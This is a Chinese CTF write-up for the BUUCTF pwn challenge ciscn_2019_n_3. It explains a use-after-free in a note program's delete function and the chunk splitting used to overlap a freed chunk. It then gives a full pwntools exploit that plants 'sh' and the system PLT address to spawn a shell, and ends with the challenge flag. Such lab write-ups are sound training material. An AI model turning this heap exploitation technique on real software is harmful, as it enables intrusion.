【BUUCTF】Pwn--Ciscn_2019_n_3

学到不少

Description:

nc pwn.buuoj.cn 20139

有需要 libc 的情况请到 https://github.com/giantbranch/pwn_deploy_chroot/tree/master/libcindocker 自取~


Solution:

这题一开始看到关于打印和删除的函数我是懵逼的,然后分析了一下汇编才初步了解

不过,当时忘记存好图了,只剩下这一张分析图,其他的函数都差不多

以这个为原型也够了

Image

这题的利用点是do_del函数

Image

拿道题可以看见do_new函数里面先会创建一个大小为0x0c的 chunk 然后会创建一个自己定义的 chunk

且从do_del函数可以看出这道题有UAF
之前被 free 掉的 chunk 的 fd 如果不为一个野指针就能再次使用

这题没开 PIE,所以可以利用 plt 表的函数来攻击

然后就是这题利用法了,我也写进了【Heap】堆利用总结--空闲块篇

1
2
3
4
5
6
7
8
9
10
11
12
主要手法就是 unsorted bin 被申请的堆块不断切割到最后
到了剩余的堆块不足以再放进完整的 fd 和 bk 时,会将其视作前一个堆块的内容

也就是说你前一个堆块可能之申请了 0x08 大小的空间【程序要分配0x10】
且 unsorted bin 剩余 0x08 大小的空间

那么你释放掉以后会得到一个 0x18 大小的 fastbin
这导致一开始的 0x0c 大小的申请不能进入这块被 free 掉的区域
而会在下方再重新开辟一块空间

这样你第二次申请一个符合 0x18 fastbin 链表大小的空间
就能进入上次的堆块,从而造成任意地址的使用

这里是攻击图qwq

Image

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(log_level="debug", arch="i386")
p = process('./ciscn_2019_n_3')
# p = remote('pwn.buuoj.cn', 20139)
elf = ELF('./ciscn_2019_n_3', checksec=False)
libc = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)
plt_system = elf.plt['system']


def do_new_str(do_new_str_length, do_new_str_value):
global cnt
p.sendlineafter('CNote > ', '1')
p.sendlineafter('Index > ', str(cnt))
cnt += 1
p.sendlineafter('Type > ', '2')
p.sendlineafter('Length > ', str(do_new_str_length))
if do_new_str_value != '':
p.sendlineafter('Value > ', do_new_str_value)


def do_del(do_del_idx):
p.sendlineafter('CNote > ', '2')
p.sendlineafter('Index > ', str(do_del_idx))


cnt = 0
do_new_str(0x40, 'a' * 0x3e) # 0 [size 为 0x10 + 0x48]
do_new_str(0x500, '') # 1 [size 为 0x10,为了防止unsorted bin被top chunk合并]
do_del(0) # [制造一个大小为 0x58 的 unsorted bin]
do_new_str(0x28, 'b' * 0x26) # 2 [size 为 0x10 + 0x30]
do_new_str(0x500, '') # 3 [size 为 0x10,chunk0 还剩 0x08]
do_del(3) # [会释放掉当前的 fastbin chunk 和剩余的 unsorted bin chunk,总共是 0x18]
do_new_str(0x10, "sh\x00\x00" + p32(plt_system)) # 4 [size 为 0x10 + 0x10]
do_del(3)
p.interactive()

Flag:

1
flag{6891d098-e6d8-4347-97f2-ab7b078fddd0}
文章目录
  1. 1. Description:
  2. 2. Solution:
  3. 3. Flag:
|